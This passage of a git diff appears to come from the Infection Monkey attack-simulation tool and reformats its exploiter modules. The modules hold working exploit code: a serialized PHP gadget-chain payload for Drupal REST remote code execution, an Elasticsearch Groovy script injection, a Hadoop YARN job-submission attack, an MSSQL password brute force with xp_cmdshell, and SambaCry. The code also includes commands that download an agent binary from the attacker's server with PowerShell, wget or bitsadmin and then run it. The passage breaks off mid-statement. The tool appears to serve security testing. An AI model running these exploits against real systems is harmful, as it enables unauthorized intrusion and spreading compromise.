- exploit_config['dropper'] = True + exploit_config["url_extensions"] = [ + "node/", # In Linux, no path is added + "drupal/node/", + ] # However, Bitnami installations are under /drupal + exploit_config["dropper"] = True return exploit_config def add_vulnerable_urls(self, potential_urls, stop_checking=False): """ - We need a specific implementation of this function in order to add the URLs *with the node IDs*. + We need a specific implementation of this function in order to add the URLs *with the + node IDs*. We therefore check, for every potential URL, all possible node IDs. :param potential_urls: Potentially-vulnerable URLs :param stop_checking: Stop if one vulnerable URL is found @@ -51,66 +53,74 @@ class DrupalExploiter(WebRCE): try: node_ids = find_exploitbale_article_ids(url) if node_ids is None: - LOG.info('Could not find a Drupal node to attack') + LOG.info("Could not find a Drupal node to attack") continue for node_id in node_ids: node_url = urljoin(url, str(node_id)) if self.check_if_exploitable(node_url): - self.add_vuln_url(url) # This is for report. Should be refactored in the future + self.add_vuln_url( + url + ) # This is for report. Should be refactored in the future self.vulnerable_urls.append(node_url) if stop_checking: break except Exception as e: # We still don't know which errors to expect - LOG.error(f'url {url} failed in exploitability check: {e}') + LOG.error(f"url {url} failed in exploitability check: {e}") if not self.vulnerable_urls: LOG.info("No vulnerable urls found") def check_if_exploitable(self, url): """ Check if a certain URL is exploitable. - We use this specific implementation (and not simply run self.exploit) because this function does not "waste" + We use this specific implementation (and not simply run self.exploit) because this + function does not "waste" a vulnerable URL. Namely, we're not actually exploiting, merely checking using a heuristic. :param url: Drupal's URL and port :return: Vulnerable URL if exploitable, otherwise False """ payload = build_exploitability_check_payload(url) - response = requests.get(f'{url}?_format=hal_json', # noqa: DUO123 - json=payload, - headers={"Content-Type": "application/hal+json"}, - verify=False, - timeout=MEDIUM_REQUEST_TIMEOUT) + response = requests.get( # noqa: DUO123 + f"{url}?_format=hal_json", + json=payload, + headers={"Content-Type": "application/hal+json"}, + verify=False, + timeout=MEDIUM_REQUEST_TIMEOUT, + ) if is_response_cached(response): - LOG.info(f'Checking if node {url} is vuln returned cache HIT, ignoring') + LOG.info(f"Checking if node {url} is vuln returned cache HIT, ignoring") return False - return 'INVALID_VALUE does not correspond to an entity on this site' in response.text + return "INVALID_VALUE does not correspond to an entity on this site" in response.text def exploit(self, url, command): # pad a easy search replace output: - cmd = f'echo {ID_STRING} && {command}' + cmd = f"echo {ID_STRING} && {command}" base = remove_port(url) payload = build_cmd_execution_payload(base, cmd) - r = requests.get(f'{url}?_format=hal_json', # noqa: DUO123 - json=payload, - headers={"Content-Type": "application/hal+json"}, - verify=False, - timeout=LONG_REQUEST_TIMEOUT) + r = requests.get( # noqa: DUO123 + f"{url}?_format=hal_json", + json=payload, + headers={"Content-Type": "application/hal+json"}, + verify=False, + timeout=LONG_REQUEST_TIMEOUT, + ) if is_response_cached(r): - LOG.info(f'Exploiting {url} returned cache HIT, may have failed') + LOG.info(f"Exploiting {url} returned cache HIT, may have failed") if ID_STRING not in r.text: - LOG.warning('Command execution _may_ have failed') + LOG.warning("Command execution _may_ have failed") result = r.text.split(ID_STRING)[-1] return result def get_target_url(self): """ - We're overriding this method such that every time self.exploit is invoked, we use a fresh vulnerable URL. + We're overriding this method such that every time self.exploit is invoked, we use a fresh + vulnerable URL. Reusing the same URL eliminates its exploitability because of caching reasons :) :return: vulnerable URL to exploit """ @@ -121,19 +131,23 @@ class DrupalExploiter(WebRCE): For the Drupal exploit, 5 distinct URLs are needed to perform the full attack. :return: Whether the list of vulnerable URLs has at least 5 elements. """ - # We need 5 URLs for a "full-chain": check remote files, check architecture, drop monkey, chmod it and run it. + # We need 5 URLs for a "full-chain": check remote files, check architecture, drop monkey, + # chmod it and run it. num_urls_needed_for_full_exploit = 5 num_available_urls = len(self.vulnerable_urls) result = num_available_urls >= num_urls_needed_for_full_exploit if not result: - LOG.info(f'{num_urls_needed_for_full_exploit} URLs are needed to fully exploit a Drupal server ' - f'but only {num_available_urls} found') + LOG.info( + f"{num_urls_needed_for_full_exploit} URLs are needed to fully exploit a " + f"Drupal server " + f"but only {num_available_urls} found" + ) return result def is_response_cached(r: requests.Response) -> bool: """ Check if a response had the cache header. """ - return 'X-Drupal-Cache' in r.headers and r.headers['X-Drupal-Cache'] == 'HIT' + return "X-Drupal-Cache" in r.headers and r.headers["X-Drupal-Cache"] == "HIT" def find_exploitbale_article_ids(base_url: str, lower: int = 1, upper: int = 100) -> set: @@ -141,12 +155,12 @@ def find_exploitbale_article_ids(base_url: str, lower: int = 1, upper: int = 100 articles = set() while lower < upper: node_url = urljoin(base_url, str(lower)) - response = requests.get(node_url, - verify=False, - timeout=LONG_REQUEST_TIMEOUT) # noqa: DUO123 + response = requests.get( # noqa: DUO123 + node_url, verify=False, timeout=LONG_REQUEST_TIMEOUT + ) if response.status_code == 200: if is_response_cached(response): - LOG.info(f'Found a cached article at: {node_url}, skipping') + LOG.info(f"Found a cached article at: {node_url}, skipping") else: articles.add(lower) lower += 1 @@ -155,20 +169,10 @@ def find_exploitbale_article_ids(base_url: str, lower: int = 1, upper: int = 100 def build_exploitability_check_payload(url): payload = { - "_links": { - "type": { - "href": f"{urljoin(url, '/rest/type/node/INVALID_VALUE')}" - } - }, - "type": { - "target_id": "article" - }, - "title": { - "value": "My Article" - }, - "body": { - "value": "" - } + "_links": {"type": {"href": f"{urljoin(url, '/rest/type/node/INVALID_VALUE')}"}}, + "type": {"target_id": "article"}, + "title": {"value": "My Article"}, + "body": {"value": ""}, } return payload @@ -178,21 +182,17 @@ def build_cmd_execution_payload(base, cmd): "link": [ { "value": "link", - "options": "O:24:\"GuzzleHttp\\Psr7\\FnStream\":2:{s:33:\"\u0000" - "GuzzleHttp\\Psr7\\FnStream\u0000methods\";a:1:{s:5:\"" - "close\";a:2:{i:0;O:23:\"GuzzleHttp\\HandlerStack\":3:" - "{s:32:\"\u0000GuzzleHttp\\HandlerStack\u0000handler\";" - "s:|size|:\"|command|\";s:30:\"\u0000GuzzleHttp\\HandlerStack\u0000" - "stack\";a:1:{i:0;a:1:{i:0;s:6:\"system\";}}s:31:\"\u0000" - "GuzzleHttp\\HandlerStack\u0000cached\";b:0;}i:1;s:7:\"" - "resolve\";}}s:9:\"_fn_close\";a:2:{i:0;r:4;i:1;s:7:\"resolve\";}}" - "".replace('|size|', str(len(cmd))).replace('|command|', cmd) + "options": 'O:24:"GuzzleHttp\\Psr7\\FnStream":2:{s:33:"\u0000' + 'GuzzleHttp\\Psr7\\FnStream\u0000methods";a:1:{s:5:"' + 'close";a:2:{i:0;O:23:"GuzzleHttp\\HandlerStack":3:' + '{s:32:"\u0000GuzzleHttp\\HandlerStack\u0000handler";' + 's:|size|:"|command|";s:30:"\u0000GuzzleHttp\\HandlerStack\u0000' + 'stack";a:1:{i:0;a:1:{i:0;s:6:"system";}}s:31:"\u0000' + 'GuzzleHttp\\HandlerStack\u0000cached";b:0;}i:1;s:7:"' + 'resolve";}}s:9:"_fn_close";a:2:{i:0;r:4;i:1;s:7:"resolve";}}' + "".replace("|size|", str(len(cmd))).replace("|command|", cmd), } ], - "_links": { - "type": { - "href": f"{urljoin(base, '/rest/type/shortcut/default')}" - } - } + "_links": {"type": {"href": f"{urljoin(base, '/rest/type/shortcut/default')}"}}, } return payload diff --git a/monkey/infection_monkey/exploit/elasticgroovy.py b/monkey/infection_monkey/exploit/elasticgroovy.py index dfaffac6a..ec2133216 100644 --- a/monkey/infection_monkey/exploit/elasticgroovy.py +++ b/monkey/infection_monkey/exploit/elasticgroovy.py @@ -1,6 +1,7 @@ """ Implementation is based on elastic search groovy exploit by metasploit - https://github.com/rapid7/metasploit-framework/blob/12198a088132f047e0a86724bc5ebba92a73ac66/modules/exploits/multi/elasticsearch/search_groovy_script.rb + https://github.com/rapid7/metasploit-framework/blob/12198a088132f047e0a86724bc5ebba92a73ac66 + /modules/exploits/multi/elasticsearch/search_groovy_script.rb Max vulnerable elasticsearch version is "1.4.2" """ @@ -13,38 +14,50 @@ import requests from common.common_consts.network_consts import ES_SERVICE from common.utils.attack_utils import BITS_UPLOAD_STRING, ScanStatus from infection_monkey.exploit.web_rce import WebRCE -from infection_monkey.model import (BITSADMIN_CMDLINE_HTTP, CHECK_COMMAND, CMD_PREFIX, DOWNLOAD_TIMEOUT, ID_STRING, - WGET_HTTP_UPLOAD) +from infection_monkey.model import ( + BITSADMIN_CMDLINE_HTTP, + CHECK_COMMAND, + CMD_PREFIX, + DOWNLOAD_TIMEOUT, + ID_STRING, + WGET_HTTP_UPLOAD, +) from infection_monkey.network.elasticfinger import ES_PORT from infection_monkey.telemetry.attack.t1197_telem import T1197Telem -__author__ = 'danielg, VakarisZ' - LOG = logging.getLogger(__name__) class ElasticGroovyExploiter(WebRCE): # attack URLs MONKEY_RESULT_FIELD = "monkey_result" - GENERIC_QUERY = '''{"size":1, "script_fields":{"%s": {"script": "%%s"}}}''' % MONKEY_RESULT_FIELD - JAVA_CMD = \ - GENERIC_QUERY % """java.lang.Math.class.forName(\\"java.lang.Runtime\\").getRuntime().exec(\\"%s\\").getText()""" + GENERIC_QUERY = ( + """{"size":1, "script_fields":{"%s": {"script": "%%s"}}}""" % MONKEY_RESULT_FIELD + ) + JAVA_CMD = GENERIC_QUERY % ( + """java.lang.Math.class.forName(\\"java.lang.Runtime\\").getRuntime().exec(""" + """\\"%s\\").getText()""" + ) - _TARGET_OS_TYPE = ['linux', 'windows'] - _EXPLOITED_SERVICE = 'Elastic search' + _TARGET_OS_TYPE = ["linux", "windows"] + _EXPLOITED_SERVICE = "Elastic search" def __init__(self, host): super(ElasticGroovyExploiter, self).__init__(host) def get_exploit_config(self): exploit_config = super(ElasticGroovyExploiter, self).get_exploit_config() - exploit_config['dropper'] = True - exploit_config['url_extensions'] = ['_search?pretty'] - exploit_config['upload_commands'] = {'linux': WGET_HTTP_UPLOAD, 'windows': CMD_PREFIX + " " + BITSADMIN_CMDLINE_HTTP} + exploit_config["dropper"] = True + exploit_config["url_extensions"] = ["_search?pretty"] + exploit_config["upload_commands"] = { + "linux": WGET_HTTP_UPLOAD, + "windows": CMD_PREFIX + " " + BITSADMIN_CMDLINE_HTTP, + } return exploit_config def get_open_service_ports(self, port_list, names): - # We must append elastic port we get from elastic fingerprint module because It's not marked as 'http' service + # We must append elastic port we get from elastic fingerprint module because It's not + # marked as 'http' service valid_ports = super(ElasticGroovyExploiter, self).get_open_service_ports(port_list, names) if ES_SERVICE in self.host.services: valid_ports.append([ES_PORT, False]) @@ -56,7 +69,10 @@ class ElasticGroovyExploiter(WebRCE): try: response = requests.get(url, data=payload, timeout=DOWNLOAD_TIMEOUT) except requests.ReadTimeout: - LOG.error("Elastic couldn't upload monkey, because server didn't respond to upload request.") + LOG.error( + "Elastic couldn't upload monkey, because server didn't respond to upload " + "request." + ) return False result = self.get_results(response) if not result: @@ -65,7 +81,7 @@ class ElasticGroovyExploiter(WebRCE): def upload_monkey(self, url, commands=None): result = super(ElasticGroovyExploiter, self).upload_monkey(url, commands) - if 'windows' in self.host.os['type'] and result: + if "windows" in self.host.os["type"] and result: T1197Telem(ScanStatus.USED, self.host, BITS_UPLOAD_STRING).send() return result @@ -76,14 +92,14 @@ class ElasticGroovyExploiter(WebRCE): """ try: json_resp = json.loads(response.text) - return json_resp['hits']['hits'][0]['fields'][self.MONKEY_RESULT_FIELD] + return json_resp["hits"]["hits"][0]["fields"][self.MONKEY_RESULT_FIELD] except (KeyError, IndexError): return None def check_if_exploitable(self, url): # Overridden web_rce method that adds CMD prefix for windows command try: - if 'windows' in self.host.os['type']: + if "windows" in self.host.os["type"]: resp = self.exploit(url, CMD_PREFIX + " " + CHECK_COMMAND) else: resp = self.exploit(url, CHECK_COMMAND) diff --git a/monkey/infection_monkey/exploit/hadoop.py b/monkey/infection_monkey/exploit/hadoop.py index 36da16379..c45bfd67f 100644 --- a/monkey/infection_monkey/exploit/hadoop.py +++ b/monkey/infection_monkey/exploit/hadoop.py @@ -1,30 +1,35 @@ """ Remote code execution on HADOOP server with YARN and default settings - Implementation is based on code from https://github.com/vulhub/vulhub/tree/master/hadoop/unauthorized-yarn + Implementation is based on code from + https://github.com/vulhub/vulhub/tree/master/hadoop/unauthorized-yarn """ import json import logging import posixpath -import random import string +from random import SystemRandom import requests -from infection_monkey.exploit.tools.helpers import build_monkey_commandline, get_monkey_depth from common.common_consts.timeouts import LONG_REQUEST_TIMEOUT +from infection_monkey.exploit.tools.helpers import get_monkey_depth from infection_monkey.exploit.tools.http_tools import HTTPTools from infection_monkey.exploit.web_rce import WebRCE -from infection_monkey.model import HADOOP_LINUX_COMMAND, HADOOP_WINDOWS_COMMAND, ID_STRING, MONKEY_ARG - -__author__ = 'VakarisZ' +from infection_monkey.model import ( + HADOOP_LINUX_COMMAND, + HADOOP_WINDOWS_COMMAND, + ID_STRING, + MONKEY_ARG, +) +from infection_monkey.utils.commands import build_monkey_commandline LOG = logging.getLogger(__name__) class HadoopExploiter(WebRCE): - _TARGET_OS_TYPE = ['linux', 'windows'] - _EXPLOITED_SERVICE = 'Hadoop' + _TARGET_OS_TYPE = ["linux", "windows"] + _EXPLOITED_SERVICE = "Hadoop" HADOOP_PORTS = [["8088", False]] # How long we have our http server open for downloads in seconds DOWNLOAD_TIMEOUT = 60 @@ -41,13 +46,13 @@ class HadoopExploiter(WebRCE): if not self.vulnerable_urls: return False # We presume hadoop works only on 64-bit machines - if self.host.os['type'] == 'windows': - self.host.os['machine'] = '64' + if self.host.os["type"] == "windows": + self.host.os["machine"] = "64" paths = self.get_monkey_paths() if not paths: return False - http_path, http_thread = HTTPTools.create_locked_transfer(self.host, paths['src_path']) - command = self.build_command(paths['dest_path'], http_path) + http_path, http_thread = HTTPTools.create_locked_transfer(self.host, paths["src_path"]) + command = self.build_command(paths["dest_path"], http_path) if not self.exploit(self.vulnerable_urls[0], command): return False http_thread.join(self.DOWNLOAD_TIMEOUT) @@ -57,35 +62,48 @@ class HadoopExploiter(WebRCE): def exploit(self, url, command): # Get the newly created application id - resp = requests.post(posixpath.join(url, "ws/v1/cluster/apps/new-application"), - timeout=LONG_REQUEST_TIMEOUT) + resp = requests.post( + posixpath.join(url, "ws/v1/cluster/apps/new-application"), timeout=LONG_REQUEST_TIMEOUT + ) resp = json.loads(resp.content) - app_id = resp['application-id'] + app_id = resp["application-id"] # Create a random name for our application in YARN - rand_name = ID_STRING + "".join([random.choice(string.ascii_lowercase) for _ in range(self.RAN_STR_LEN)]) + safe_random = SystemRandom() + rand_name = ID_STRING + "".join( + [safe_random.choice(string.ascii_lowercase) for _ in range(self.RAN_STR_LEN)] + ) payload = self.build_payload(app_id, rand_name, command) - resp = requests.post(posixpath.join(url, "ws/v1/cluster/apps/"), json=payload, timeout=LONG_REQUEST_TIMEOUT) + resp = requests.post( + posixpath.join(url, "ws/v1/cluster/apps/"), json=payload, timeout=LONG_REQUEST_TIMEOUT + ) return resp.status_code == 202 def check_if_exploitable(self, url): try: - resp = requests.post(posixpath.join(url, "ws/v1/cluster/apps/new-application"), - timeout=LONG_REQUEST_TIMEOUT) + resp = requests.post( + posixpath.join(url, "ws/v1/cluster/apps/new-application"), + timeout=LONG_REQUEST_TIMEOUT, + ) except requests.ConnectionError: return False return resp.status_code == 200 def build_command(self, path, http_path): # Build command to execute - monkey_cmd = build_monkey_commandline(self.host, get_monkey_depth() - 1, - vulnerable_port=HadoopExploiter.HADOOP_PORTS[0][0]) - if 'linux' in self.host.os['type']: + monkey_cmd = build_monkey_commandline( + self.host, get_monkey_depth() - 1, vulnerable_port=HadoopExploiter.HADOOP_PORTS[0][0] + ) + if "linux" in self.host.os["type"]: base_command = HADOOP_LINUX_COMMAND else: base_command = HADOOP_WINDOWS_COMMAND - return base_command % {"monkey_path": path, "http_path": http_path, - "monkey_type": MONKEY_ARG, "parameters": monkey_cmd} + return base_command % { + "monkey_path": path, + "http_path": http_path, + "monkey_type": MONKEY_ARG, + "parameters": monkey_cmd, + } @staticmethod def build_payload(app_id, name, command): @@ -97,6 +115,6 @@ class HadoopExploiter(WebRCE): "command": command, } }, - "application-type": "YARN" + "application-type": "YARN", } return payload diff --git a/monkey/infection_monkey/exploit/mssqlexec.py b/monkey/infection_monkey/exploit/mssqlexec.py index c51acc3b8..6269a8778 100644 --- a/monkey/infection_monkey/exploit/mssqlexec.py +++ b/monkey/infection_monkey/exploit/mssqlexec.py @@ -8,51 +8,59 @@ import pymssql from common.utils.exceptions import ExploitingVulnerableMachineError, FailedExploitationError from common.utils.exploit_enum import ExploitType from infection_monkey.exploit.HostExploiter import HostExploiter -from infection_monkey.exploit.tools.helpers import build_monkey_commandline, get_monkey_depth, get_monkey_dest_path +from infection_monkey.exploit.tools.helpers import get_monkey_depth, get_monkey_dest_path from infection_monkey.exploit.tools.http_tools import MonkeyHTTPServer from infection_monkey.exploit.tools.payload_parsing import LimitedSizePayload from infection_monkey.model import DROPPER_ARG +from infection_monkey.utils.commands import build_monkey_commandline LOG = logging.getLogger(__name__) class MSSQLExploiter(HostExploiter): - _EXPLOITED_SERVICE = 'MSSQL' - _TARGET_OS_TYPE = ['windows'] + _EXPLOITED_SERVICE = "MSSQL" + _TARGET_OS_TYPE = ["windows"] EXPLOIT_TYPE = ExploitType.BRUTE_FORCE LOGIN_TIMEOUT = 15 # Time in seconds to wait between MSSQL queries. QUERY_BUFFER = 0.5 - SQL_DEFAULT_TCP_PORT = '1433' + SQL_DEFAULT_TCP_PORT = "1433" # Temporary file that saves commands for monkey's download and execution. - TMP_FILE_NAME = 'tmp_monkey.bat' + TMP_FILE_NAME = "tmp_monkey.bat" TMP_DIR_PATH = "%temp%\\tmp_monkey_dir" MAX_XP_CMDSHELL_COMMAND_SIZE = 128 - XP_CMDSHELL_COMMAND_START = "xp_cmdshell \"" - XP_CMDSHELL_COMMAND_END = "\"" + XP_CMDSHELL_COMMAND_START = 'xp_cmdshell "' + XP_CMDSHELL_COMMAND_END = '"' EXPLOIT_COMMAND_PREFIX = ">{payload_file_path}" CREATE_COMMAND_SUFFIX = ">{payload_file_path}" - MONKEY_DOWNLOAD_COMMAND = "powershell (new-object System.Net.WebClient)." \ - "DownloadFile(^\'{http_path}^\' , ^\'{dst_path}^\')" + MONKEY_DOWNLOAD_COMMAND = ( + "powershell (new-object System.Net.WebClient)." + "DownloadFile(^'{http_path}^' , ^'{dst_path}^')" + ) def __init__(self, host): super(MSSQLExploiter, self).__init__(host) self.cursor = None self.monkey_server = None - self.payload_file_path = os.path.join(MSSQLExploiter.TMP_DIR_PATH, MSSQLExploiter.TMP_FILE_NAME) + self.payload_file_path = os.path.join( + MSSQLExploiter.TMP_DIR_PATH, MSSQLExploiter.TMP_FILE_NAME + ) def _exploit_host(self): """ First this method brute forces to get the mssql connection (cursor). - Also, don't forget to start_monkey_server() before self.upload_monkey() and self.stop_monkey_server() after + Also, don't forget to start_monkey_server() before self.upload_monkey() and + self.stop_monkey_server() after """ # Brute force to get connection username_passwords_pairs_list = self._config.get_exploit_user_password_pairs() - self.cursor = self.brute_force(self.host.ip_addr, self.SQL_DEFAULT_TCP_PORT, username_passwords_pairs_list) + self.cursor = self.brute_force( + self.host.ip_addr, self.SQL_DEFAULT_TCP_PORT, username_passwords_pairs_list + ) # Create dir for payload self.create_temp_dir() @@ -80,11 +88,15 @@ class MSSQLExploiter(HostExploiter): return self.run_mssql_command(file_running_command) def create_temp_dir(self): - dir_creation_command = MSSQLLimitedSizePayload(command="mkdir {}".format(MSSQLExploiter.TMP_DIR_PATH)) + dir_creation_command = MSSQLLimitedSizePayload( + command="mkdir {}".format(MSSQLExploiter.TMP_DIR_PATH) + ) self.run_mssql_command(dir_creation_command) def create_empty_payload_file(self): - suffix = MSSQLExploiter.CREATE_COMMAND_SUFFIX.format(payload_file_path=self.payload_file_path) + suffix = MSSQLExploiter.CREATE_COMMAND_SUFFIX.format( + payload_file_path=self.payload_file_path + ) tmp_file_creation_command = MSSQLLimitedSizePayload(command="NUL", suffix=suffix) self.run_mssql_command(tmp_file_creation_command) @@ -111,9 +123,13 @@ class MSSQLExploiter(HostExploiter): def remove_temp_dir(self): # Remove temporary dir we stored payload at - tmp_file_removal_command = MSSQLLimitedSizePayload(command="del {}".format(self.payload_file_path)) + tmp_file_removal_command = MSSQLLimitedSizePayload( + command="del {}".format(self.payload_file_path) + ) self.run_mssql_command(tmp_file_removal_command) - tmp_dir_removal_command = MSSQLLimitedSizePayload(command="rmdir {}".format(MSSQLExploiter.TMP_DIR_PATH)) + tmp_dir_removal_command = MSSQLLimitedSizePayload( + command="rmdir {}".format(MSSQLExploiter.TMP_DIR_PATH) + ) self.run_mssql_command(tmp_dir_removal_command) def start_monkey_server(self): @@ -131,25 +147,29 @@ class MSSQLExploiter(HostExploiter): def get_monkey_launch_command(self): dst_path = get_monkey_dest_path(self.monkey_server.http_path) # Form monkey's launch command - monkey_args = build_monkey_commandline(self.host, - get_monkey_depth() - 1, - MSSQLExploiter.SQL_DEFAULT_TCP_PORT, - dst_path) + monkey_args = build_monkey_commandline( + self.host, get_monkey_depth() - 1, MSSQLExploiter.SQL_DEFAULT_TCP_PORT, dst_path + ) suffix = ">>{}".format(self.payload_file_path) prefix = MSSQLExploiter.EXPLOIT_COMMAND_PREFIX - return MSSQLLimitedSizePayload(command="{} {} {}".format(dst_path, DROPPER_ARG, monkey_args), - prefix=prefix, - suffix=suffix) + return MSSQLLimitedSizePayload( + command="{} {} {}".format(dst_path, DROPPER_ARG, monkey_args), + prefix=prefix, + suffix=suffix, + ) def get_monkey_download_command(self): dst_path = get_monkey_dest_path(self.monkey_server.http_path) - monkey_download_command = MSSQLExploiter.MONKEY_DOWNLOAD_COMMAND. \ - format(http_path=self.monkey_server.http_path, dst_path=dst_path) + monkey_download_command = MSSQLExploiter.MONKEY_DOWNLOAD_COMMAND.format( + http_path=self.monkey_server.http_path, dst_path=dst_path + ) prefix = MSSQLExploiter.EXPLOIT_COMMAND_PREFIX - suffix = MSSQLExploiter.EXPLOIT_COMMAND_SUFFIX.format(payload_file_path=self.payload_file_path) - return MSSQLLimitedSizePayload(command=monkey_download_command, - suffix=suffix, - prefix=prefix) + suffix = MSSQLExploiter.EXPLOIT_COMMAND_SUFFIX.format( + payload_file_path=self.payload_file_path + ) + return MSSQLLimitedSizePayload( + command=monkey_download_command, suffix=suffix, prefix=prefix + ) def brute_force(self, host, port, users_passwords_pairs_list): """ @@ -159,10 +179,12 @@ class MSSQLExploiter(HostExploiter): Args: host (str): Host ip address port (str): Tcp port that the host listens to - users_passwords_pairs_list (list): a list of users and passwords pairs to bruteforce with + users_passwords_pairs_list (list): a list of users and passwords pairs to bruteforce + with Return: - True or False depends if the whole bruteforce and attack process was completed successfully or not + True or False depends if the whole bruteforce and attack process was completed + successfully or not """ # Main loop # Iterates on users list @@ -170,10 +192,13 @@ class MSSQLExploiter(HostExploiter): try: # Core steps # Trying to connect - conn = pymssql.connect(host, user, password, port=port, login_timeout=self.LOGIN_TIMEOUT) + conn = pymssql.connect( + host, user, password, port=port, login_timeout=self.LOGIN_TIMEOUT + ) LOG.info( - 'Successfully connected to host: {0}, using user: {1}, password (SHA-512): {2}'.format( - host, user, self._config.hash_sensitive_data(password))) + "Successfully connected to host: {0}, using user: {1}, password (" + "SHA-512): {2}".format(host, user, self._config.hash_sensitive_data(password)) + ) self.add_vuln_port(MSSQLExploiter.SQL_DEFAULT_TCP_PORT) self.report_login_attempt(True, user, password) cursor = conn.cursor() @@ -183,14 +208,20 @@ class MSSQLExploiter(HostExploiter): # Combo didn't work, hopping to the next one pass - LOG.warning('No user/password combo was able to connect to host: {0}:{1}, ' - 'aborting brute force'.format(host, port)) - raise FailedExploitationError("Bruteforce process failed on host: {0}".format(self.host.ip_addr)) + LOG.warning( + "No user/password combo was able to connect to host: {0}:{1}, " + "aborting brute force".format(host, port) + ) + raise FailedExploitationError( + "Bruteforce process failed on host: {0}".format(self.host.ip_addr) + ) class MSSQLLimitedSizePayload(LimitedSizePayload): def __init__(self, command, prefix="", suffix=""): - super(MSSQLLimitedSizePayload, self).__init__(command=command, - max_length=MSSQLExploiter.MAX_XP_CMDSHELL_COMMAND_SIZE, - prefix=MSSQLExploiter.XP_CMDSHELL_COMMAND_START + prefix, - suffix=suffix + MSSQLExploiter.XP_CMDSHELL_COMMAND_END) + super(MSSQLLimitedSizePayload, self).__init__( + command=command, + max_length=MSSQLExploiter.MAX_XP_CMDSHELL_COMMAND_SIZE, + prefix=MSSQLExploiter.XP_CMDSHELL_COMMAND_START + prefix, + suffix=suffix + MSSQLExploiter.XP_CMDSHELL_COMMAND_END, + ) diff --git a/monkey/infection_monkey/exploit/sambacry.py b/monkey/infection_monkey/exploit/sambacry.py index 797ff6633..63fe0970a 100644 --- a/monkey/infection_monkey/exploit/sambacry.py +++ b/monkey/infection_monkey/exploit/sambacry.py @@ -8,35 +8,53 @@ from io import BytesIO import impacket.smbconnection from impacket.nmb import NetBIOSError from impacket.nt_errors import STATUS_SUCCESS -from impacket.smb import (FILE_DIRECTORY_FILE, FILE_NON_DIRECTORY_FILE, FILE_OPEN, FILE_READ_DATA, FILE_SHARE_READ, - FILE_WRITE_DATA, SMB, SMB_DIALECT, SessionError, SMBCommand, SMBNtCreateAndX_Data, - SMBNtCreateAndX_Parameters) -from impacket.smb3structs import (SMB2_CREATE, SMB2_FLAGS_DFS_OPERATIONS, SMB2_IL_IMPERSONATION, SMB2_OPLOCK_LEVEL_NONE, - SMB2Create, SMB2Create_Response, SMB2Packet) +from impacket.smb import ( + FILE_DIRECTORY_FILE, + FILE_NON_DIRECTORY_FILE, + FILE_OPEN, + FILE_READ_DATA, + FILE_SHARE_READ, + FILE_WRITE_DATA, + SMB, + SMB_DIALECT, + SessionError, + SMBCommand, + SMBNtCreateAndX_Data, + SMBNtCreateAndX_Parameters, +) +from impacket.smb3structs import ( + SMB2_CREATE, + SMB2_FLAGS_DFS_OPERATIONS, + SMB2_IL_IMPERSONATION, + SMB2_OPLOCK_LEVEL_NONE, + SMB2Create, + SMB2Create_Response, + SMB2Packet, +) from impacket.smbconnection import SMBConnection import infection_monkey.monkeyfs as monkeyfs from common.utils.attack_utils import ScanStatus from infection_monkey.exploit.HostExploiter import HostExploiter -from infection_monkey.exploit.tools.helpers import build_monkey_commandline, get_monkey_depth, get_target_monkey_by_os +from infection_monkey.exploit.tools.helpers import get_monkey_depth, get_target_monkey_by_os from infection_monkey.model import DROPPER_ARG from infection_monkey.network.smbfinger import SMB_SERVICE from infection_monkey.network.tools import get_interface_to_target from infection_monkey.pyinstaller_utils import get_binary_file_path from infection_monkey.telemetry.attack.t1105_telem import T1105Telem - -__author__ = 'itay.mizeretz' +from infection_monkey.utils.commands import build_monkey_commandline LOG = logging.getLogger(__name__) class SambaCryExploiter(HostExploiter): """ - SambaCry exploit module, partially based on the following implementation by CORE Security Technologies' impacket: + SambaCry exploit module, partially based on the following implementation by CORE Security + Technologies' impacket: https://github.com/CoreSecurity/impacket/blob/master/examples/sambaPipe.py """ - _TARGET_OS_TYPE = ['linux'] + _TARGET_OS_TYPE = ["linux"] _EXPLOITED_SERVICE = "Samba" # Name of file which contains the monkey's commandline SAMBACRY_COMMANDLINE_FILENAME = "monkey_commandline.txt" @@ -50,10 +68,6 @@ class SambaCryExploiter(HostExploiter): SAMBACRY_MONKEY_FILENAME_32 = "monkey32" # Monkey filename on share (64 bit) SAMBACRY_MONKEY_FILENAME_64 = "monkey64" - # Monkey copy filename on share (32 bit) - SAMBACRY_MONKEY_COPY_FILENAME_32 = "monkey32_2" - # Monkey copy filename on share (64 bit) - SAMBACRY_MONKEY_COPY_FILENAME_64 = "monkey64_2" # Supported samba port SAMBA_PORT = 445 @@ -65,8 +79,10 @@ class SambaCryExploiter(HostExploiter): return False writable_shares_creds_dict = self.get_writable_shares_creds_dict(self.host.ip_addr) - LOG.info("Writable shares and their credentials on host %s: %s" % - (self.host.ip_addr, str(writable_shares_creds_dict))) + LOG.info( + "Writable shares and their credentials on host %s: %s" + % (self.host.ip_addr, str(writable_shares_creds_dict)) + ) self.exploit_info["shares"] = {} for share in writable_shares_creds_dict: @@ -79,16 +95,25 @@ class SambaCryExploiter(HostExploiter): successfully_triggered_shares = [] for share in writable_shares_creds_dict: - trigger_result = self.get_trigger_result(self.host.ip_addr, share, writable_shares_creds_dict[share]) + trigger_result = self.get_trigger_result( + self.host.ip_addr, share, writable_shares_creds_dict[share] + ) creds = writable_shares_creds_dict[share] self.report_login_attempt( - trigger_result is not None, creds['username'], creds['password'], creds['lm_hash'], creds['ntlm_hash']) + trigger_result is not None, + creds["username"], + creds["password"], + creds["lm_hash"], + creds["ntlm_hash"], + ) if trigger_result is not None: successfully_triggered_shares.append((share, trigger_result)) - url = "smb://%(username)s@%(host)s:%(port)s/%(share_name)s" % {'username': creds['username'], - 'host': self.host.ip_addr, - 'port': self.SAMBA_PORT, - 'share_name': share} + url = "smb://%(username)s@%(host)s:%(port)s/%(share_name)s" % { + "username": creds["username"], + "host": self.host.ip_addr, + "port": self.SAMBA_PORT, + "share_name": share, + } self.add_vuln_url(url) self.clean_share(self.host.ip_addr, share, writable_shares_creds_dict[share]) @@ -97,8 +122,9 @@ class SambaCryExploiter(HostExploiter): if len(successfully_triggered_shares) > 0: LOG.info( - "Shares triggered successfully on host %s: %s" % ( - self.host.ip_addr, str(successfully_triggered_shares))) + "Shares triggered successfully on host %s: %s" + % (self.host.ip_addr, str(successfully_triggered_shares)) + ) self.add_vuln_port(self.SAMBA_PORT) return True else: @@ -117,8 +143,9 @@ class SambaCryExploiter(HostExploiter): self.trigger_module(smb_client, share) except (impacket.smbconnection.SessionError, SessionError): LOG.debug( - "Exception trying to exploit host: %s, share: %s, with creds: %s." % ( - self.host.ip_addr, share, str(creds))) + "Exception trying to exploit host: %s, share: %s, with creds: %s." + % (self.host.ip_addr, share, str(creds)) + 